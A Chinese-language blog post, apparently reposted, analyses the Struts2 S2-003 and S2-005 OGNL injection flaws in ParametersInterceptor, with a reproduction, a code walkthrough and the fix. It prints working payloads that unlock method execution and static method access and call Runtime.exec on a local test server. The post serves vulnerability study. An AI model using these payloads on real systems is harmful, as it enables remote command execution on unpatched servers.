Struts2 系列漏洞 - S2-003、S2-005

news2024/11/14 19:36:03

一、前言

前面一篇文章也有提到 struts2 在进入 action 进行逻辑处理前(以及逻辑处理后),会进入 18 个拦截器栈中对请求进行必要的处理(如果没有自定义拦截器的话,可以在 struts-default.xml 中找到相应的拦截器栈,如下下图【这里只有 17 个拦截器 233 】)。下图为 struts2 在处理请求时走过的流程。 

image.png

image.png

其中 params 拦截器也即是 com.opensymphony.xwork2.interceptor.ParametersInterceptor ,他负责获取到提交的参数值,并将请求传输的参数赋值到对应的栈中。 

image.png

# 二、漏洞概述

S2-003 漏洞就出现在 com.opensymphony.xwork2.interceptor.ParametersInterceptor 拦截器处理时, doIntercept 方法对提交的参数对值栈中的数据进行赋值,同时进行解析,此时过滤不严导致可以通过 ognl 表达式操作值栈中 map/context 栈 的对象来执行方法,进而导致命令执行。

首先我们可以先看看 ognl 取出 context/map 栈中的对象的属性的语法:

● #object.propertyName

● #object['propertyName']

● #object["propertyName"]

ognl 取出 root 栈中对象的属性的语法为(从栈顶往下找同名的属性值):

● propertyName

● ['propertyName']

● ["propertyName"]

如果在 root 栈中想找具体第几个对象的属性:

● [索引].propertyName

● [索引].["propertyName"]

● [索引].['propertyName']

● 举个栗子:[0].username 找自栈顶起第一个对象的 username 属性。

通过 ognl 表达式来调用对象的属性 / 方法:

● 获取静态属性值:@全类名@静态属性名

● 调用静态方法:@全类名@静态方法(参数列表)

● 调用栈顶对象非静态方法:方法名(参数列表)

官方链接:

https://cwiki.apache.org/confluence/display/WW/S2-00

影响版本:

Struts 2.0.0 - Struts 2.1.8.1

# 三、漏洞复现

环境:

apache-tomcat-9.0.37 、 jdk1.8.0_261 、 struts 2.0.11

tomcat7 及以后的版本会严格按照 RFC 3986 规范进行访问解析,而 RFC 3986 规范定义了 Url 中只允许包含英文字母 a-zA-Z 、数字 0-9 、 -_.~ 4 个特殊字符以及所有保留字符( RFC 3986 中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])

即 tomcat7 后的版本在 payload 中使用 [、]、(、) 需进行 url 编码。

因为漏洞影响版本 Struts 2.0.0 - Struts 2.1.8.1 ,所以其实可以沿用上个漏洞环境。甚至可以更简化,根据官方给的 payload :('\u0023'%20%2b%20'session'user'')(unused)=0wn3d。Action 返回到 index.jsp 回显 session.user 即可。想换个版本的话就把相应的 jar 包都替换掉。

LoginAction.java :( error 返回到 index.jsp ) 

image.png

index.jsp:(取出 session.user ) 

image.png

执行 payload :

官方给的没有执行成功,233 为什么,格式的问题吗?我没有弄明白。然后尝试自己改了一下,成功了。

payload :http://localhost:8080/login.action?%28%27\u0023session%5b%27user%27%5d%27%29%28unused%29=teesst

解码即为:('\u0023session['user']')(unused)=teesst

image.png

payload :http://localhost:8080/login.action?%28%27\u0023session%2euser%27%29%28unused%29=teesst

解码即为:('\u0023session.user')(unused)=teesst

image.png

测试发现去掉后面的 (unused) 也可。\u0023 为 # 号。他的格式问题我没弄明白,【网上说有两种格式,一种 (表达式)(常量)=value ,另一种 (表达式)(常量)(常量) 】。意思应该是明白的:取出 session 对象,将其的 user 赋值为 teesst 。

复杂一点的 payload :

('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla) 【这里没有 url 编码是因为我悄咪咪换了个低版本的 tomcat 】

payload 解读:首先将 denyMethodExecution 设置为 false ,然后执行计算器的命令。为什么最开始要将 denyMethodExecution 设置为 false ,可以看看分析。

image.png

# 四、分析

我们先根据官网给的 payload 来看,带参数 ('\u0023session['user']')(unused)=teesst 请求 login.action ,根据 struts.xml 中的配置,会路由到 LoginAction 的 login 方法。进入方法前先进拦截器,在 ParameterInterceptor 中获取参数,并将属性值存入 ValueStack 值栈中。

那我们从进入 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法开始看。 

image.png

在 88 行进行了参数赋值,我们跟进去。 

image.png

在 123 行中进入了 acceptableName(name) 进行判断。这里是个过滤条件。 

image.png

这里判断了 name 中是否包含了 =,#: 字符以及 pojo 字符串,正因如此 payload 中对 # 号进行了 Unicode 编码。接着前面的进入到 129 行的 setValue 方法中。 

image.png

跟进到 OgnlUtil#setValue 方法【这个调用链是不是有点熟悉,和 S2-001 的是不是差不多,只不是 S2-001 是 findValue 】 

image.png

继续跟进,在 compile 方法中对表达式进行了解码。(其实是跟进 parseExpression 方法更深的地方对 Unicode 编码进行了解码 ) 

image.png

进而将其转化为语法树,最终在 ognl.ASTEval#setValueBody 中对 map 栈中 session 域对象中的 user 赋值。 

image.png

我们赋值完参数进入 action 逻辑处理,返回 error ,对应页面 index.jsp ,取出 session 中的 user 显示: 

image.png

接下来我们来看复杂一点的 payload 执行计算器的命令:

('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)

是不是其实也是一样的,但是由于设置不允许方法执行,故此时通过 context 将参数值 xwork.MethodAccessor.denyMethodExecution 设为 false 才能执行方法。

在高版本中,如 struts2.1.8.1 中增加了 excludeParams 加了以 struts 开头的参数不进行解析,以及匹配的模式 [[\p{Graph}\s]&&[^,#:=]]* (仅除了 ,#:= 之外的可见字符才会进行解析)。

image.png

且默认禁止了静态方法的执行: 

image.png

是不是仍然是治标不治本,我仍然可以通过 ognl 表达式将其参数打开。

看 payload :

/login.action?('\u0023_memberAccess['allowStaticMethodAccess']')(bla)=true&('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)

这里需要注意的是我们通过 _memberAccess 可以获取到 SecurityMemberAccess 的实例,从而对其中的 allowStaticMethodAccess 进行赋值。 

image.png

image.png

image.png

# 五、修复

在 acceptableName 判断时完善了过滤正则。 

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1813819.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【学习笔记】使用gcc编译程序并检查依赖的库

编译 gcc echo.c -o app -lfcgi-o app:指定编译后的输出文件名为 app。 -lfcgi:告诉编译器链接 FastCGI 库。 检查 ldd appldd 是一个在 Unix 和类 Unix 系统中用来打印一个已编译的程序所依赖的共享库列表的命令。当你运行 ldd app 命令时&#xff0…

Windows 10 中添加 开机启动 自动运行的程序

Win R 输入 “shell:startup” ,回车确定 把 应用的 快捷方式 复制到文件夹中。就会自动开机启动了 参照图:

VLAN配置实验

目录 一、概述 二、组网 三、配置 四、验证 一、概述 以太网是一种基于CSMA/CD的共享通讯介质的数据网络通讯技术。当主机数目较多时会导致冲突严重、广播泛滥、性能显著下降甚至造成网络不可用等问题。 通过交换机可以解决LAN互连虽然可以解决冲突严重的问题,但是仍…

Redis 搭建主从复制、哨兵模式【Windows】

Redis 主从复制模式是一种用于数据冗余和可伸缩性的机制,它允许从服务器(Slave)从主服务器(Master)复制数据,从而实现数据的备份和读写分离。以下是关于Redis主从复制模式的详细介绍: 1. 主从复…

电脑U盘管理软件有哪些?精选四款适合企业的U盘管理软件

在当前的数字化时代,电脑U盘作为重要的数据存储和传输工具,其管理显得尤为关键。为了确保U盘数据的安全性和完整性,许多企业和个人都选择使用专业的U盘管理软件。以下是几款值得推荐的电脑U盘管理软件,包括域智盾在内,…

Python网络爬虫4-实战爬取pdf

1.需求背景 爬取松产品中心网站下的家电说明书。这里以冰箱为例:松下电器-冰箱网址 网站分析: 第一步: 点击一个具体的冰箱型号,点击了解更多,会打开此型号电器的详情页面。 第二步:在新打开的详情页面中…

阻塞IO、非阻塞IO、IO多路复用和信号驱动IO简介

一、分类 在UNIX或Liunx下主要有4中IO模型 阻塞IO:最简单、最常用、效率最低 阻塞IO简介和代码示例-CSDN博客当进程执行读操作的时候,如果缓冲区有内容,则继续读取内容向下执行。缓冲区没内容,进程进入休眠态,直到缓冲区中再次…

老徐亲自带队死磕 30 天 IP 公众号价值写作, 邀请你一起玩

* 大家好,我是前端队长。前端程序员,2023年开始玩副业。做过AI绘画,公众号 AI 爆文,AI代写项目,累计变现五位数。 — 老徐的一人企业书籍提到一点:120、完全没基础的同学,玩副业,玩 …

springboot连接多个库

一个SpringBoot项目,同时连接两个数据库:比如一个是Mysql数据库,一个是oracle数据库(啥数据库都一样,连接两个同为oracle的数据库,或两个不同的数据库,只需要更改对应的driver-class-name和jdbc…

视觉SLAM14精讲——相机与图像3.2

视觉SLAM14精讲 三维空间刚体运动1.0三维空间刚体运动1.1三维空间刚体运动1.2李群与李代数2.1相机与图像3.1 视觉SLAM14精讲——相机与图像3.2 视觉SLAM14精讲畸变有关重投影误差缩放实际使用 畸变 相机畸变是相机镜头光学缺陷所致的缺陷, 在光学领域这种问题是没…

Apple Intelligence:一文详细解读苹果AI!

大家好,我是木易,一个持续关注AI领域的互联网技术产品经理,国内Top2本科,美国Top10 CS研究生,MBA。我坚信AI是普通人变强的“外挂”,所以创建了“AI信息Gap”这个公众号,专注于分享AI全维度知识…

更适合工程师和研究僧的FPGA专项培训课程

各位编程精英er~ 社区打造的FPGA工程师培训班上线后,有不少同学后台私信询问:“能不能出个那种专门针对某个知识点的课程呢?我想针对自己的薄弱点深入学习。” 贴心如我,当然会满足大家的学习需求啦。本周,社区FPGA专…

Anime Girls Pack

动漫女孩包 35个动画(就地)支持人形。 8情绪。 角色列表:原艾艾琪惠美子惠理文子星薰和子佳子奈子理子凛老师小樱老师津雨僵尸女孩01 下载:​​Unity资源商店链接资源下载链接 效果图:

《维汉翻译通》App的OCR识别技术难度怎么样?通过哪些优化措施来提高文字识别的准确率呢?

《维汉翻译通》App的OCR技术在处理不同字体和大小的文本时,采用了以下优化措施来确保高准确率: 多字体支持:OCR引擎能够识别多种字体样式,包括常见的印刷体和手写体,以及一些特殊的艺术字体。 自适应缩放&#xff1a…

Go使用https

一、服务端 1. 生成私钥和证书 安装OpenSSL windows安装OpenSSL生成CA证书创建证书 以上两个步骤,参考:Go http2 和 h2c 2. 代码 package mainimport ("log""net/http""time""golang.org/x/net/http2" )co…

JVM (二)类加载

一,类的生命周期 加载 连接 验证 准备 解析 初始化 使用 卸载 加载、验证、准备和初始化这四个阶段发生的顺序是确定的,而解析阶段则不一定; 类加载几个阶段按顺序开始,而不是按顺序进行或完成,通常都会交叉进…

2024 New Relic Java 生态系统报告

New Relic 发布了 2024 年度 Java 生态系统报告,数据来源于使用 New Relic 监控的线上 Java 应用。从这个报告中,我们可以看到 Java 发展的一些趋势。 在 Java 版本方面,新版本的使用率越来越高。Java 11 的使用率是 32.9%,Java 1…

Github 2024-06-12 C开源项目日报 Top10

根据Github Trendings的统计,今日(2024-06-12统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量C项目10PHP项目1PLpgSQL项目1C++项目1Ventoy: 100%开源的可启动USB解决方案 创建周期:1534 天开发语言:C协议类型:GNU General Public Licen…

软件架构风格探析

软件架构是系统设计的基石,它定义了不同组件、层次之间的交互和整合方式。选择恰当的架构风格对于构建高效、可维护以及可扩展的软件系统至关重要。本文将详细探讨几种关键的软件架构风格,包括数据流风格、仓库、调用返回、独立构件和虚拟机,…

课时152:项目发布_手工发布_方案解读

1.2.1 方案解读 学习目标 这一节,我们从 基础知识、简单实践、小结 三个方面来学习 基础知识 案例需求 实现一套业务环境的项目发布流程,基本的网站架构效果如下:架构解读:负载均衡采用Nginx服务,基于请求内容进行…